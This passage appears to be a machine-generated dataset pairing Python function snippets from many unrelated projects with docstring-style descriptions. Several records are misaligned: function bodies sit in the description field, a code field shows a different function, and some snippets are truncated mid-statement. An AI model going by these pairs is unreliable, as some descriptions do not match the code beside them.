reraise[:]:\n warning = w.message\n if (re.match(msg, str(warning), re.I) and\n issubclass(warning.__class__, cat)):\n seen = True\n reraise.remove(w)\n if not seen and not quiet:\n missing.append((msg, cat.__name__))\n if reraise:\n raise AssertionError(\"unhandled warning %s\" % reraise[0])\n if missing:\n raise AssertionError(\"filter (%r, %s) did not catch any warning\" %\n missing[0])\n\n\n@contextlib.contextmanager", "nl": "Catch the warnings, then check if all the expectedwarnings have been raised and re-raise unexpected warnings.If 'quiet' is True, only re-raise the unexpected warnings."} {"code": "def Tail(num):\n return lambda modelObjects: modelObjects[-num:]\n\n\nclass TextSearch(object):\n \"\"\"\n", "nl": "Display at most the last N of the model objectsExample::self.olv.SetFilter(Filter.Tail(1000))"} {"code": "def select_channels(raws: List[BaseRaw], ch_list: List ) -> List[BaseRaw]:\n s_list = []\n for raw in raws:\n s_list.append(raw.pick_channels(ch_list))\n\n return s_list\n\n @staticmethod", "nl": "Slice channels:raw: List[BaseRaw], List of Raw EEG data:ch_list: List:return: List[BaseRaw]"} {"code": "def init_system(self):\n sm = factory(ServiceManager)()\n try:\n if linux_modules.load_module(\"openvswitch\"):\n sm.restart(\"openvswitch\")\n except process.CmdError:\n LOG.error(\"Service OpenVSwitch is probably not\"\n \" installed in system.\")\n raise\n self.pid_files_path = \"/var/run/openvswitch/\"\n", "nl": "Create new dbfile without any configuration."} {"code": "def custom_severity(self):\n if not self.id:\n raise InvalidObjectError(\"missing report ID\")\n if self._from_watchlist:\n raise InvalidObjectError(\"watchlist reports don't have custom severities\")\n\n url = \"/threathunter/watchlistmgr/v3/orgs/{}/reports/{}/severity\".format(\n self._cb.credentials.org_key,\n self.id\n )\n resp = self._cb.get_object(url)\n return ReportSeverity(self._cb, initial_data=resp)\n\n @custom_severity.setter", "nl": "Returns the custom severity for this report.:return: The custom severity for this report, if it exists:rtype: :py:class:`ReportSeverity`:raise InvalidObjectError: if `id` is missing or this report is from a watchlist"} {"code": "def override_for_test(self) -> Iterator[WriteableContainer]:\n original = self._container\n new_container_for_test = self._container.clone()\n self._container = new_container_for_test\n try:\n yield new_container_for_test\n finally:\n self._container = original\n", "nl": "Returns a ContextManager that returns an editiable containerthat will temporarily alter the dependency injection resolutionof all dependencies bound to this container.client = TestClient(app)with deps.override_for_test() as test_container:# FooService is an external API so mock it during testtest_container[FooService] = Mock(FooService)response = client.get(\"/\")assert response.status_code == 200:return:"} {"code": "def layout_name(self, notes_mode):\n if self.scribbler.scribbling_mode:\n return 'highlight'\n elif notes_mode.direction() == 'page number':\n return 'note_pages'\n elif notes_mode:\n return 'notes'\n else:\n return 'plain'\n\n", "nl": " Return the layout made for the selected notes_modeArgs:notes_mode (:class:`~pympress.document.PdfPage`): the mode/positioning of notesReturns:`str`: a string representing the appropriate layout"} {"code": "def extend_request(req, params):", "nl": "Extends a request.def _iterparams():for k, v in params.items():yield k, vdef _get(key, default_value=None):Return the value of the key or the default value."} {"code": "def display_spectrogram_for_one_audio_file(local_audio_file):\n\n try:\n import soundfile as sf\n import matplotlib.pylab as plt\n except (ModuleNotFoundError, ImportError):\n raise DLPyError('cannot import soundfile')\n\n if os.path.isdir(local_audio_file):\n local_audio_file_real = random_file_from_dir(local_audio_file)\n else:\n local_audio_file_real = local_audio_file\n\n print('File location: {}'.format(local_audio_file_real))\n\n data, sampling_rate = sf.read(local_audio_file_real)\n\n plt.specgram(data, Fs=sampling_rate)\n plt.ylabel('Frequency [Hz]')\n plt.xlabel('Time [sec]')\n\n", "nl": "Display spectrogram for a local audio file using soundfile.Parameters----------local_audio_file : stringLocal location to the audio file to be displayed.Returns-------NoneRaises------DLPyErrorIf anything goes wrong, it complains and prints the appropriate message."} {"code": "def init_frame_mask(self):\n self.image_all = []\n self.mask_all = []\n self.contour_all = []\n\n cap_video = cv2.VideoCapture(self.cfg['video_path'])\n cap_mask = cv2.VideoCapture(self.cfg['mask_path'])\n for fid in range(self.frame_sum):\n frame, mask = self.load_single_frame(cap_video, cap_mask)\n contour, hier = cv2.findContours(mask[0].astype('uint8'), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n self.image_all.append(frame)\n self.mask_all.append(mask)\n self.contour_all.append(contour)\n cap_video.release()\n cap_mask.release()\n self.image_all = np.array(self.image_all)\n self.mask_all = np.array(self.mask_all)\n\n", "nl": "Load input video and mask"} {"code": "def __init__(self, config, number, notify_on_nondebounce, platform):\n if not self.pdbconfig:\n return \"P-Roc\"\n\n board, bank, _ = self.pdbconfig.decode_pdb_address(self.string_number)\n\n return \"SW-16 Board {} Bank {}\".format(board, bank)\n\n @property", "nl": "Initialise P-ROC switch.super().__init__(config, number, platform)self.string_number = numberself.log = logging.getLogger('PROCSwitch {}'.format(self.string_number))self.notify_on_nondebounce = notify_on_nondebounceself.hw_rules = {\"closed_debounced\": [],\"closed_nondebounced\": [],\"open_debounced\": [],\"open_nondebounced\": []}self.pdbconfig = getattr(platform, \"pdbconfig\", None)def get_board_name(self):Return board of the switch."} {"code": "def mutate_one_gene(self):\n gene_to_mutate = random.choice( list(self.all_possible_genes.keys()) )\n\n current_value = self.geneparam[gene_to_mutate]\n possible_choices = copy.deepcopy(self.all_possible_genes[gene_to_mutate])\n\n possible_choices.remove(current_value)\n\n self.geneparam[gene_to_mutate] = random.choice( possible_choices )\n\n self.update_hash()\n", "nl": "Randomly mutate one gene in the genome.Args:network (dict): The genome parameters to mutateReturns:(Genome): A randomly mutated genome object"} {"code": "def rotate(self, other, context=None):\n if context is None:\n context = getcontext()\n\n other = _convert_other(other, raiseit=True)\n\n ans = self._check_nans(other, context)\n if ans:\n return ans\n\n if other._exp != 0:\n return context._raise_error(InvalidOperation)\n liminf = -2 * (context.Emax + context.prec)\n limsup = 2 * (context.Emax + context.prec)\n if not (liminf <= int(other) <= limsup):\n return context._raise_error(InvalidOperation)\n\n if self._isinfinity():\n return Decimal(self)\n\n d = _dec_from_triple(self._sign, self._int, self._exp + int(other))\n d = d._fix(context)\n return d\n", "nl": "Returns a rotated copy of self, value-of-other times.if context is None:context = getcontext()other = _convert_other(other, raiseit=True)ans = self._check_nans(other, context)if ans:return ansif other._exp != 0:return context._raise_error(InvalidOperation)if not (-context.prec <= int(other) <= context.prec):return context._raise_error(InvalidOperation)if self._isinfinity():return Decimal(self)# get values, pad if necessarytorot = int(other)rotdig = self._inttopad = context.prec - len(rotdig)if topad > 0:rotdig = '0'*topad + rotdigelif topad < 0:rotdig = rotdig[-topad:]# let's rotate!rotated = rotdig[torot:] + rotdig[:torot]return _dec_from_triple(self._sign,rotated.lstrip('0') or '0', self._exp)def scaleb(self, other, context=None):Returns self operand after adding the second value to its exp."} {"code": "def toggleLoggingLevel(self):\n log.level = self.logging_level_menu.itemData(self.logging_level_menu.currentIndex())\n print '\n", "nl": "Toggle the logging level."} {"code": "def disabled(self):\n raise NotImplementedError()", "nl": " bool: Whether this node is disabled. raise NotImplementedError()@propertydef readonly(self): bool: Whether the node is read-only. "} {"code": "def get_help_option_names(self, ctx):\n help_options = self.get_help_option_names(ctx)\n if not help_options or not self.add_help_option:\n return\n", "nl": "Returns the names for the help option.all_names = set(ctx.help_option_names)for param in self.params:all_names.difference_update(param.opts)all_names.difference_update(param.secondary_opts)return all_namesdef get_help_option(self, ctx):Returns the help option object."} {"code": "def update_all(self):\n\n\t\tfor docktab in self._docktabs.values():\n\t\t\tdocktab.update()\n", "nl": "desc:Update all item controls."} {"code": "def exitSetup(self):\n self.ignore(\"SillyMeterPhase\")\n", "nl": "Clean up"} {"code": "def local_reduce_join(node):\n if (isinstance(node.op, T.CAReduce) and\n node.inputs[0].owner and\n isinstance(node.inputs[0].owner.op, T.Join)):\n join = node.inputs[0].owner\n if T.extract_constant(join.inputs[0], only_process_constants=True) != 0:\n return\n\n if isinstance(node.op.scalar_op, (scalar.Maximum, scalar.Minimum)):\n if len(join.inputs) != 3:\n return\n elif not isinstance(node.op.scalar_op, (scalar.Add, scalar.Mul)):\n return\n elif len(join.inputs) <= 2:\n return\n\n new_inp = []\n for inp in join.inputs[1:]:\n inp = inp.owner\n if not inp:\n return\n if (not isinstance(inp.op, DimShuffle) or\n inp.op.new_order != ('x',) +\n tuple(range(inp.inputs[0].ndim))):\n return\n new_inp.append(inp.inputs[0])\n ret = Elemwise(node.op.scalar_op)(*new_inp)\n\n if ret.dtype != node.outputs[0].dtype:\n return\n\n reduce_axis = node.op.axis\n if reduce_axis is None:\n reduce_axis = tuple(xrange(node.inputs[0].ndim))\n\n if len(reduce_axis) != 1 or 0 not in reduce_axis:\n if theano.config.warn.reduce_join:\n warnings.warn((\n 'Your current code is fine, but Theano versions '\n 'prior to 0.7 (or this development version Sept 2014) '\n 'might have given an incorrect result for this code. '\n 'To disable this warning, set the Theano flag '\n 'warn.reduce_join to False. The problem was an '\n 'optimization, that modified the pattern '\n '\"Reduce{scalar.op}(Join(axis=0, a, b), axis=0)\", '\n 'did not check the reduction axis. So if the '\n 'reduction axis was not 0, you got a wrong answer.'))\n return\n\n try:\n join_axis = get_scalar_constant_value(join.inputs[0],\n only_process_constants=True)\n\n if join_axis != reduce_axis[0]:\n return\n except NotScalarConstantError:\n return\n\n return [ret]\n\n\n@register_canonicalize('fast_compile', 'local_cut_useless_reduce')\n@register_useless('local_cut_useless_reduce')\n@gof.local_optimizer(ALL_REDUCE)", "nl": "Reduce{scalar.op}(Join(axis=0, a, b), axis=0) -> Elemwise{scalar.op}(a, b)Notes-----Supported scalar.op are Maximum, Mimimum in some cases and Add and Mul inall cases.Currently we must reduce on axis 0. It is probably extensible to the casewhere we join and reduce on the same set of axis."} {"code": "def upload_by_filename(self, filename, meta_dict = None):\n isfile, errmsg = fdfs_check_file(filename)\n if not isfile:\n raise DataError(errmsg + '(uploading)')\n tc = Tracker_client(self.tracker_pool)\n store_serv = tc.tracker_query_storage_stor_without_group()\n return self.get_storage(store_serv).storage_upload_by_filename(tc, store_serv, filename, meta_dict)\n", "nl": "Upload a file to Storage server.arguments:@filename: string, name of file that will be uploaded@meta_dict: dictionary e.g.:{'ext_name' : 'jpg','file_size' : '10240B','width' : '160px','hight' : '80px'} meta_dict can be null@return dict {'Group name' : group_name,'Remote file_id' : remote_file_id,'Status' : 'Upload successed.','Local file name' : local_file_name,'Uploaded size' : upload_size,'Storage IP' : storage_ip} if success else None"} {"code": "def cmd_terminate(self, argv, help):\n parser = argparse.ArgumentParser(\n prog=\"%s start\" % self.progname,\n description=help,\n )\n instances = self.get_instances(command='start')\n parser.add_argument(\"instance\", nargs=1,\n metavar=\"instance\",\n help=\"Name of the instance from the config.\",\n choices=sorted(instances))\n parser.add_argument(\"-o\", \"--override\", nargs=\"*\", type=str,\n dest=\"overrides\", metavar=\"OVERRIDE\",\n help=\"Option to override in instance config for startup script (name=value).\")\n args = parser.parse_args(argv)\n overrides = self._parse_overrides(args)\n overrides['instances'] = self.instances\n instance = instances[args.instance[0]]\n instance.hooks.before_start(instance)\n result = instance.start(overrides)\n instance.hooks.after_start(instance)\n if result is None:\n return\n instance.status()\n", "nl": "Terminates the instancefrom ploy.common import yesnoparser = argparse.ArgumentParser(prog=\"%s terminate\" % self.progname,description=help,)instances = self.get_instances(command='terminate')parser.add_argument(\"instance\", nargs=1,metavar=\"instance\",help=\"Name of the instance from the config.\",choices=sorted(instances))args = parser.parse_args(argv)instance = instances[args.instance[0]]if not yesno(\"Are you sure you want to terminate '%s'?\" % instance.config_id):returninstance.hooks.before_terminate(instance)instance.terminate()instance.hooks.after_terminate(instance)def _parse_overrides(self, options):overrides = dict()if options.overrides is not None:for override in options.overrides:if '=' not in override:log.error(\"Invalid format for override '%s', should be NAME=VALUE.\" % override)sys.exit(1)key, value = override.split('=', 1)key = key.strip()value = value.strip()if key == '':log.error(\"Empty key for override '%s'.\" % override)sys.exit(1)overrides[key] = valuereturn overridesdef cmd_start(self, argv, help):Starts the instance"} {"code": "def validate(self):\n return {\n \"epoch\": self.epoch,\n \"weights\": self.model.get_weights(),\n \"optimizer_weights\": self.model.optimizer.get_weights()\n }\n", "nl": "Evaluates the model on the validation data set.stats = {}evaluate_config = {\"verbose\": self.verbose}evaluate_config.update(self.config.get(\"evaluate_config\", {}))results = self.model.evaluate(self.test_dataset, **evaluate_config)if results is None:# Using local Model since model.evaluate() returns None# for MultiWorkerMirroredStrategylogger.warning(\"Running a local model to get validation score.\")self.local_model = self.model_creator(self.config)self.local_model.set_weights(self.model.get_weights())results = self.local_model.evaluate(self.test_dataset,**evaluate_config)if isinstance(results, list):stats = {\"validation_\" + k: vfor k, v in zip(self.model.metrics_names, results)}else:stats = {\"loss\": results}return statsdef get_state(self):Returns the state of the runner."} {"code": "def encode_line(self, tokenizer, line, max_length, pad_to_max_length=True, return_tensors=\"pt\"):\n", "nl": "Only used by LegacyDatasetreturn tokenizer([line],max_length=max_length,padding=\"max_length\" if pad_to_max_length else None,truncation=True,return_tensors=return_tensors,**self.dataset_kwargs,)def collate_fn(self, batch) -> Dict[str, torch.Tensor]:input_ids = torch.stack([x[\"input_ids\"] for x in batch])masks = torch.stack([x[\"attention_mask\"] for x in batch])target_ids = torch.stack([x[\"labels\"] for x in batch])pad_token_id = self.pad_token_idy = trim_batch(target_ids, pad_token_id)source_ids, source_mask = trim_batch(input_ids, pad_token_id, attention_mask=masks)batch = {\"input_ids\": source_ids,\"attention_mask\": source_mask,\"labels\": y,}return batchclass Seq2SeqDataset(AbstractSeq2SeqDataset):A dataset that calls prepare_seq2seq_batch."} {"code": "def base64_encode(input):\n output = base64.b64encode(input).replace('+', '[') \\\n .replace('/', ']') \\\n .replace('=', '_')\n return output\n\n", "nl": "Encode input in base64 using GameSpy variant.GameSpy uses a slightly modified version of base64 which replaces+/= with []_"} {"code": "def msvc14_gen_lib_options(*args, **kwargs):\n if \"numpy.distutils\" in sys.modules:\n import numpy as np\n if LegacyVersion(np.__version__) < LegacyVersion('1.11.2'):\n return np.distutils.ccompiler.gen_lib_options(*args, **kwargs)\n return get_unpatched(msvc14_gen_lib_options)(*args, **kwargs)\n\n", "nl": "Patched \"distutils._msvccompiler.gen_lib_options\" for fixcompatibility between \"numpy.distutils\" and \"distutils._msvccompiler\"(for Numpy < 1.11.2)"} {"code": "def recreate(self):\n ensure_root()\n\n if not self._load_existent():\n print_info('Can not enter \"{}\": This configuration does not exist.'.format(self.name))\n return False\n\n print_header(\n 'Login (persistent changes) for {}'.format(self.name)\n if persistent\n else 'Login for {}'.format(self.name)\n )\n with self.new_instance() as (instance_dir, _):\n self._copy_helper_script(instance_dir)\n\n nspawn_run_persist(\n self,\n instance_dir,\n self.new_nspawn_machine_name(),\n '/srv',\n verbose=True,\n allowed=allowed,\n boot=boot,\n )\n\n if persistent:\n print_section('Recreating tarball')\n self.make_instance_permanent(instance_dir)\n else:\n print_info('Changes discarded.')\n\n print_info('Done.')\n return True\n", "nl": "Recreate a container base imageensure_root()if not self._load_existent():print_error('Can not recreate \"{}\": The image does not exist.'.format(self.name))return Falseconfig_fname = self.get_config_location()if not os.path.isfile(config_fname):print_error('Can not recreate \"{}\": Unable to find configuration data for this image.'.format(self.name))return Falseprint_header('Recreating container image')# read configuration datawith open(config_fname, 'rt') as f:cdata: T.Dict[str, T.Union[str, bool]] = json.loads(f.read())self._suite = cdata.get('Suite', self.suite)self._arch = cdata.get('Architecture', self.arch)self._variant = cdata.get('Variant', self.variant)mirror = cdata.get('Mirror')components = cdata.get('Components')extra_suites = cdata.get('ExtraSuites', [])extra_source_lines = cdata.get('ExtraSourceLines')allow_recommends = cdata.get('AllowRecommends', False)with_init = cdata.get('IncludesInit', False)print_section('Deleting cache')cache_size = self._aptcache.clear()print_info('Removed {} cached packages.'.format(cache_size))self._aptcache.delete()print_info('Cache directory removed.')# move old image tarball out of the wayimage_name = self.get_image_location()image_name_old = self.get_image_location() + '.old'if os.path.isfile(image_name_old):print_info('Removing cruft image')os.remove(image_name_old)os.rename(image_name, image_name_old)print_info('Old tarball moved.')# ty to create the tarball againtry:ret = self._create_internal(mirror=mirror,components=components,extra_suites=extra_suites,extra_source_lines=extra_source_lines,allow_recommends=allow_recommends,with_init=with_init,show_header=False,)except Exception as e:print_error('Error while trying to create image: {}'.format(str(e)))ret = Falseif ret:if os.path.isfile(image_name_old):print_info('Removing old image')os.remove(image_name_old)print_info('Removing outdated cached images')shutil.rmtree(self.get_image_cache_dir())print_info('Done.')return Trueelse:print_info('Restoring old tarball')if os.path.isfile(image_name):print_info('Removing failed new image')os.remove(image_name)os.rename(image_name_old, image_name)print_info('Recreation failed.')return Falsedef login(self, persistent=False, *, allowed: list[str] = None, boot: bool = False):Interactive shell login into the container"} {"code": "def cql3_insert_thrift_test(self):\n session = self.prepare(start_rpc=True)\n\n session.execute(\"\"\"\n\n node = self.cluster.nodelist()[0]\n host, port = node.network_interfaces['thrift']\n client = get_thrift_client(host, port)\n client.transport.open()\n client.set_keyspace('ks')\n key = struct.pack('>i', 2)\n column_name_component = struct.pack('>i', 4)\n column_name = '\\x00\\x04' + column_name_component + '\\x00' + '\\x00\\x01' + 'v' + '\\x00'\n value = struct.pack('>i', 8)\n client.batch_mutate(\n {key: {'test': [Mutation(ColumnOrSuperColumn(column=Column(name=column_name, value=value, timestamp=100)))]}},\n ThriftConsistencyLevel.ONE)\n\n assert_one(session, \"SELECT * FROM test\", [2, 4, 8])\n\n @since('2.0', max_version='4')", "nl": "Check that we can insert from thrift into a CQL3 table:- CREATE a table via CQL- insert values via thrift- SELECT the inserted values and assert they are there as expected@jira_ticket CASSANDRA-4377"} {"code": "def test_scanElementChildrenAll_argument_parentIds_of_invalid_type_should_raise_TypeError(self):", "nl": "Test scanElementChildrenAll(self, instanceId, parentIds)"} {"code": "def versions_from_file(filename):\n contents,\n re.M | re.S,\n )\n if not mo:\n raise NotThisMethod(\"no version_json in _version.py\")\n return json.loads(mo.group(1))\n\n", "nl": "Try to determine the version from _version.py if present.try:with open(filename) as f:contents = f.read()except EnvironmentError:raise NotThisMethod(\"unable to read _version.py\")mo = re.search(r\"version_json = \\n(.*) # END VERSION_JSON\","} {"code": "def chebvander3d(x, y, z, deg):\n return pu._vander_nd_flat((chebvander, chebvander, chebvander), (x, y, z), deg)\n\n", "nl": "Pseudo-Vandermonde matrix of given degrees.Returns the pseudo-Vandermonde matrix of degrees `deg` and samplepoints `(x, y, z)`. If `l, m, n` are the given degrees in `x, y, z`,then The pseudo-Vandermonde matrix is defined by.. math:: V[..., (m+1)(n+1)i + (n+1)j + k] = T_i(x)*T_j(y)*T_k(z),where `0 <= i <= l`, `0 <= j <= m`, and `0 <= j <= n`. The leadingindices of `V` index the points `(x, y, z)` and the last index encodesthe degrees of the Chebyshev polynomials.If ``V = chebvander3d(x, y, z, [xdeg, ydeg, zdeg])``, then the columnsof `V` correspond to the elements of a 3-D coefficient array `c` ofshape (xdeg + 1, ydeg + 1, zdeg + 1) in the order.. math:: c_{000}, c_{001}, c_{002},... , c_{010}, c_{011}, c_{012},...and ``np.dot(V, c.flat)`` and ``chebval3d(x, y, z, c)`` will be thesame up to roundoff. This equivalence is useful both for least squaresfitting and for the evaluation of a large number of 3-D Chebyshevseries of the same degrees and sample points.Parameters----------x, y, z : array_likeArrays of point coordinates, all of the same shape. The dtypes willbe converted to either float64 or complex128 depending on whetherany of the elements are complex. Scalars are converted to 1-Darrays.deg : list of intsList of maximum degrees of the form [x_deg, y_deg, z_deg].Returns-------vander3d : ndarrayThe shape of the returned matrix is ``x.shape + (order,)``, where:math:`order = (deg[0]+1)*(deg([1]+1)*(deg[2]+1)`. The dtype willbe the same as the converted `x`, `y`, and `z`.See Also--------chebvander, chebvander3d, chebval2d, chebval3dNotes-----.. versionadded:: 1.7.0"} {"code": "def get_example_from_tensor_dict(self, tensor_dict):\n return self._create_examples(\n self._read_tsv(os.path.join(data_dir, \"train.tsv\")), \"train\")\n", "nl": "See base class.return InputExample(tensor_dict['idx'].numpy(),tensor_dict['question1'].numpy().decode('utf-8'),tensor_dict['question2'].numpy().decode('utf-8'),str(tensor_dict['label'].numpy()))def get_train_examples(self, data_dir):See base class."} {"code": "def predict(self,x):\n x = np.array(x)\n if self.intercept:\n x = np.insert(x, 0, 1)\n beta = np.linalg.inv(self.value['A']) * self.value['b'].T\n return beta*x", "nl": " Predict the output/observation value based on values for \\the regressors.:param list x: A list of ints of the regressors.:param numpy y: A numpy array of the predicted observation."} {"code": "def _is_expired(self, createdtime):\n\n return not self._has_value(createdtime) or (\n self.expiretime is not None\n and time.time() - createdtime > self.expiretime\n )\n", "nl": "Return true if the expiration time is reached, or novalue is available."} {"code": "def load_class_names():\n\n raw = _unpickle(filename=\"batches.meta\")[b'label_names']\n\n names = [x.decode('utf-8') for x in raw]\n\n return names\n\n", "nl": "Load the names for the classes in the CIFAR-10 data-set.Returns a list with the names. Example: names[3] is the nameassociated with class-number 3."} {"code": "def create(self, username, password, roles, **params):\n if not isinstance(username, six.string_types):\n raise ValueError(\"Invalid username: %s\" % str(username))\n username = username.lower()\n self.post(name=username, password=password, roles=roles, **params)\n response = self.get(username)\n entry = _load_atom(response, XNAME_ENTRY).entry\n state = _parse_atom_entry(entry)\n entity = self.item(\n self.service,\n urllib.parse.unquote(state.links.alternate),\n state=state)\n return entity\n", "nl": "Creates a new user.This function makes two roundtrips to the server, plus at mosttwo more ifthe ``autologin`` field of :func:`connect` is set to ``True``.:param username: The username.:type username: ``string``:param password: The password.:type password: ``string``:param roles: A single role or list of roles for the user.:type roles: ``string`` or ``list``:param params: Additional arguments (optional). For a list of availableparameters, see `User authentication parameters`_on Splunk Developer Portal.:type params: ``dict``:return: The new user.:rtype: :class:`User`**Example**::import splunklib.client as clientc = client.connect(...)users = c.usersboris = users.create(\"boris\", \"securepassword\", roles=\"user\")hilda = users.create(\"hilda\", \"anotherpassword\", roles=[\"user\",\"power\"])"} {"code": "def disconnect_metals(self):\n return MetalDisconnector()\n\n @memoized_property", "nl": ":returns: A callable :class:`~molvs.metal.MetalDisconnector` instance."} {"code": "def __init__(self, dataset_name, output_dir):\n self._metadata = MetadataCatalog.get(dataset_name)\n self._thing_contiguous_id_to_dataset_id = {\n v: k for k, v in self._metadata.thing_dataset_id_to_contiguous_id.items()\n }\n self._stuff_contiguous_id_to_dataset_id = {\n v: k for k, v in self._metadata.stuff_dataset_id_to_contiguous_id.items()\n }\n\n self._predictions_json = os.path.join(output_dir, \"predictions.json\")\n", "nl": "Args:dataset_name (str): name of the datasetoutput_dir (str): output directory to save results for evaluation"} {"code": "def json_read(filename, **json_options):\n Return a list of large elements of the ``iterable``\n (according to ``key`` function).\n\n ``n`` is a number of top element values to consider; when n==1", "nl": " Read an object from a json file ``filename`` with codecs.open(filename, 'r', 'utf8') as f:return json.load(f, **json_options)def largest_elements(iterable, key, n=1):"} {"code": "def __init__(self, embedding_name):\n\n Defined in :numref:`sec_bert`\"\"\"\n\n Defined in :numref:`subsec_bert_input_rep`\"\"\"", "nl": "Defined in :numref:`sec_synonyms`self.idx_to_token, self.idx_to_vec = self._load_embedding(embedding_name)self.unknown_idx = 0self.token_to_idx = {token: idx for idx, token inenumerate(self.idx_to_token)}def _load_embedding(self, embedding_name):idx_to_token, idx_to_vec = [''], []data_dir = d2l.download_extract(embedding_name)# GloVe website: https://nlp.stanford.edu/projects/glove/# fastText website: https://fasttext.cc/with open(os.path.join(data_dir, 'vec.txt'), 'r') as f:for line in f:elems = line.rstrip().split(' ')token, elems = elems[0], [float(elem) for elem in elems[1:]]# Skip header information, such as the top row in fastTextif len(elems) > 1:idx_to_token.append(token)idx_to_vec.append(elems)idx_to_vec = [[0] * len(idx_to_vec[0])] + idx_to_vecreturn idx_to_token, d2l.tensor(idx_to_vec)def __getitem__(self, tokens):indices = [self.token_to_idx.get(token, self.unknown_idx)for token in tokens]vecs = self.idx_to_vec[d2l.tensor(indices)]return vecsdef __len__(self):return len(self.idx_to_token)def get_tokens_and_segments(tokens_a, tokens_b=None):Get tokens of the BERT input sequence and their segment IDs."} {"code": "def track_enter_leave(self, widget, event):\n if self.pointer_mode != PointerMode.CONTINUOUS or widget not in [self.c_da, self.p_da_cur]:\n return False\n\n if event.type == Gdk.EventType.ENTER_NOTIFY:\n self.show_pointer = True\n extras.Cursor.set_cursor(widget, 'invisible')\n\n elif event.type == Gdk.EventType.LEAVE_NOTIFY:\n self.show_pointer = False\n extras.Cursor.set_cursor(widget, 'parent')\n\n self.redraw_current_slide()\n return True\n\n", "nl": " Switches laser off/on in continuous mode on leave/enter slides.In continuous mode, the laser pointer is switched off when the mouse leaves the slide(otherwise the laser pointer \"sticks\" to the edge of the slide).It is switched on again when the mouse reenters the slide.Args:widget (:class:`~Gtk.Widget`): the widget which has received the event.event (:class:`~Gdk.Event`): the GTK event.Returns:`bool`: whether the event was consumed"} {"code": "def f_get_config(self, fast_access=False, copy=True):\n return self._return_item_dictionary(self._config, fast_access, copy)\n", "nl": "Returns a dictionary containing the full config names as keys and the config parametersor the config parameter data items as values.:param fast_access:Determines whether the parameter objects or their values are returnedin the dictionary.:param copy:Whether the original dictionary or a shallow copy is returned.If you want the real dictionary please do not modify it at all!Not Copying and fast access do not work at the same time! Raises ValueErrorif fast access is true and copy false.:return: Dictionary containing the config data:raises: ValueError"} {"code": "def Calibrate(self, cal_type=0, path=0):\n self.h.write([self.CALIBRATE, cal_type, path])\n while (self.Status() & 0x1f):\n print('Calibration in Progress:', self.Status() & 0x1f)\n time.sleep(1.0)\n", "nl": "This command instructs the device to perform a calibration on allchannels. Used after reconfiguring the channel(s). This may takeup to several seconds, and the completion may be determined bypolling the status with GetStatus. Temperature readings will notbe updated while the calibration is ongoing, but DIO operationsmay be performed. The device will not accept SetItem or MemWritecommands while calibration is being performed. Additionally, anyCalibrate commands with cal_type argument other than 255 (abortaclibration) wil be ignored. After a calibration is aborted,GetStatus will indicate a calibration error until a newcalibration is started. Once voltage ccalibration has beencompleted successfully, the calibration path location in theisolated microcontrollers EEPROM will be updated to indicate whichpath was used for the most recent calibration.cal_type: 0 = temperature calibration1 = voltage calibration255 = abort calibrationpath: 0 = Channel Hi path (Channel Lo is referenced)1 = Channel Lo path (Channel Hi is referenced)"} {"code": "def _aux_generator(self, batch_size=16, sample_set='train', datatype = None, depthres = 256, seg_joint_res = 64):\n generated_batch = {}\n random.seed(time.time())\n generated_batch['train_img'] = np.zeros((batch_size, 256, 256, 3), dtype=np.float32)\n generated_batch['train_gtseg'] = np.zeros([batch_size, seg_joint_res, seg_joint_res], dtype = np.int8)\n generated_batch['train_gt2dheat'] = np.zeros([batch_size, seg_joint_res, seg_joint_res, self.joints_num], dtype = np.float32)\n generated_batch['train_gtjoints'] = np.zeros((batch_size, 64, 64, self.joints_num * self.Zres_joint), dtype=np.float32)\n generated_batch['train_gtdepthre'] = np.zeros((batch_size, depthres, depthres), dtype= np.float32)\n generated_batch['train_mask'] = np.zeros([batch_size, depthres, depthres],dtype = np.bool)\n generated_batch['train_2djoints'] = np.zeros([batch_size, 2, self.joints_num ],dtype= np.float32)\n generated_batch['train_3djoints'] = np.zeros([batch_size, 3, self.joints_num ],dtype= np.float32)\n\n i=0\n if datatype == 'normal_dataset':\n generated_batch['normal_train_img'] = np.zeros((batch_size, self.normalres[0], self.normalres[1], 3), dtype=np.float32)\n generated_batch['normal_train_gtnormal'] = np.zeros([batch_size, self.normalres[0], self.normalres[1], 3],\n dtype=np.float32)\n generated_batch['normal_train_gtdepthre'] = np.zeros((batch_size, self.normalres[0], self.normalres[1]),\n dtype=np.float32)\n generated_batch['normal_train_mask'] = np.zeros([batch_size, self.normalres[0], self.normalres[1]],\n dtype=np.bool)\n while i < batch_size:\n img_name = self.filelist[self.currentindex]\n type_dir = os.path.join(self.test_dir, img_name.split('/')[-4])\n depth_dir = type_dir + '/depth_maps'\n normal_dir = type_dir + '/normals'\n\n view_type = img_name.split('/')[-2]\n\n depth_dir = os.path.join(depth_dir, view_type)\n normal_dir = os.path.join(normal_dir, view_type)\n\n index = img_name[-9:-5]\n depth_name = depth_dir + '/depth_' + index + '.npz'\n normal_name = normal_dir + '/normals_' + index + '.npz'\n\n\n bg_name = os.path.join(self.bg_dir, random.sample(os.listdir(self.bg_dir), 1)[0])\n bg_name = os.path.join(bg_name, random.sample(os.listdir(bg_name), 1)[0])\n\n try:\n bg_img = io.imread(bg_name)\n except:\n self.currentindex +=1\n continue\n bg_img = scipy.misc.imresize(bg_img, [self.normalres[0], self.normalres[1]], interp='bilinear')\n img = io.imread(img_name)\n nmap = np.load(normal_name)['normals']\n dmap = np.load(depth_name)['depth']\n mask = dmap > 1e-4\n\n generated_mask = np.zeros([self.normalres[0], self.normalres[1]], dtype=np.bool)\n generated_mask[15:239, 15:239] = mask\n generated_batch['normal_train_mask'][i] = generated_mask\n img_pad = np.zeros((self.normalres[0], self.normalres[1], 3), dtype=np.uint8)\n img_pad[15: 239, 15: 239, :] = img.astype(np.float32)\n bg_img[generated_mask] = img_pad[generated_mask]\n\n\n bg_img = bg_img.astype(np.float32)\n if sample_set == 'train':\n for j in range(3):\n bg_img[:, :, j] = np.clip(\n bg_img[:, :, j].astype(np.float32) / 255 * np.random.uniform(0.6, 1.4), 0.0,\n 1.0)\n else:\n for j in range(3):\n bg_img[:, :, j] = np.clip(bg_img[:, :, j].astype(np.float32) / 255, 0.0, 1.0)\n\n meanstd = load_lua(self.meanRgb_dir)\n for j in range(3):\n bg_img[:, :, j] = bg_img[:, :, j] - meanstd['mean'][j]\n bg_img[:, :, j] = bg_img[:, :, j] / meanstd['std'][j]\n generated_batch['normal_train_img'][i,:,:,:] = bg_img\n\n generated_batch['normal_train_gtnormal'][i, 15:239, 15:239, :] = nmap\n\n\n if self.show:\n plt.figure()\n 